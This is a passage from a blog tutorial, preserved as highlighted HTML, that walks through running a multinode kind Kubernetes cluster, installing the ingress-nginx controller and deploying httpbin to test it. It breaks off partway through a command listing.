style=\"color:#6CB6FF\"\u003e --name\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind-multinode\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis time I have added a few additional flags on the commandline. \u003ccode\u003e--image\u003c/code\u003e\nallows us to use a different version of kubernetes and \u003ccode\u003e--name\u003c/code\u003e allows us to\nmake more than one cluster. So if you did not destroy the first cluster you\nwill see we have two of them now:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e clusters\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekind\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekind-multinode\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003ebut \u003ccode\u003ekind\u003c/code\u003e will swap the to the newest cluster by default:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e config\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e current-context\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekind-kind-multinode\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e node\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ROLES\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e VERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekind-multinode-control-plane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e control-plane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 107s\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.25.11\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekind-multinode-worker\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 88s\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.25.11\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekind-multinode-worker2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 88s\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.25.11\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekind-multinode-worker3\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 88s\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.25.11\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow we need to get the \u003ccode\u003eingress-nginx\u003c/code\u003e controller installed so we can start\nusing our cluster with ingress:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apply\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -f\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://raw.githubusercontent.com/kubernetes/ingress-nginx/main/deploy/static/provider/kind/deploy.yaml\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThe manifests contains \u003ccode\u003ekind\u003c/code\u003e specific patches to forward the hostPorts to the ingress controller, set taint tolerations and schedule it to the custom labelled node.\u003c/p\u003e\n\u003cp\u003eThis will take a little bit of time to get up and running, you can monitor it\nby running:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e wait\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --namespace\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ingress-nginx\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --for=condition=ready\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e pod\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --selector=app.kubernetes.io/component=controller\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --timeout=90s\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eor just manually check the status:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e all\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -n\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ingress-nginx\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e READY\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e RESTARTS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epod/ingress-nginx-admission-create-bbmlc\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 0/1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Completed\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 0\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 68s\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epod/ingress-nginx-admission-patch-qlnr8\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 0/1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Completed\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 68s\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epod/ingress-nginx-controller-5f748f78c8-6tc6b\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 0/1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ContainerCreating\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 0\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 68s\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e TYPE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e CLUSTER-IP\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e EXTERNAL-IP\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e PORT\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003eS\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e) \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eAGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eservice/ingress-nginx-controller\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e NodePort\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 10.96.228.248\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 80:31771/TCP,443:31759/TCP\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 68s\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eservice/ingress-nginx-controller-admission\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ClusterIP\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 10.96.180.126\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 443/TCP\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 68s\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e READY\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e UP-TO-DATE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AVAILABLE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003edeployment.apps/ingress-nginx-controller\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 0/1\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 1\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 0\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 68s\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e DESIRED\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e CURRENT\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e READY\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ereplicaset.apps/ingress-nginx-controller-5f748f78c8\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 1\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 1\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 0\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 68s\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e COMPLETIONS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e DURATION\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ejob.batch/ingress-nginx-admission-create\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 1/1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 22s\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 68s\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ejob.batch/ingress-nginx-admission-patch\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 1/1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 35s\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 68s\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eOnce \u003ccode\u003eingress-nginx-controller\u003c/code\u003e is in \u003ccode\u003eRunning\u003c/code\u003e state you are ready to go!\u003c/p\u003e\n\u003ch1\u003eDeploying your first app\u003c/h1\u003e\n\u003cp\u003eTo prove that the cluster is working correctly we will deploy\n\u003ca href=\"https://github.com/Kong/httpbin\"\u003ehttpbin\u003c/a\u003e which is a nice little API server\nso we can prove everything is working.\u003c/p\u003e\n\u003cp\u003eCreate a \u003ccode\u003ehttbin.yml\u003c/code\u003e file and paste this into it:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e---\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003eapiVersion\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ev1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003ekind\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eService\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003emetadata\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e labels\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e app\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e service\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003espec\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e ports\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttp\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e port\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e8000\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e targetPort\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e8080\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e selector\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e app\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e---\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003eapiVersion\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eapps/v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003ekind\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eDeployment\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003emetadata\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003espec\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e replicas\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e selector\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e matchLabels\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e app\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e version\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ev1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e template\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e metadata\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e labels\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e app\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e version\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ev1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e spec\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e containers\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003eimage\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003edocker.io/mccutchen/go-httpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e imagePullPolicy\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eIfNotPresent\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e ports\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003econtainerPort\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e8080\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis is creating a couple of Kubernetes resources:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eService\u003c/code\u003e: This is exposing the port to the ingress\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eDeployment\u003c/code\u003e: This is actually launching the service\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSo we are not using the ingress yet but we can prove that we can launch the\nservice at least. So apply those manifests:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apply\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -f\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e httpbin.yml\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eservice/httpbin\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e created\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003edeployment.apps/httpbin\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e created\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eYou should see two pods come up. You should wait for them to get into the\n\u003ccode\u003eRunning\u003c/code\u003e status:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e pod\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e wide\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan 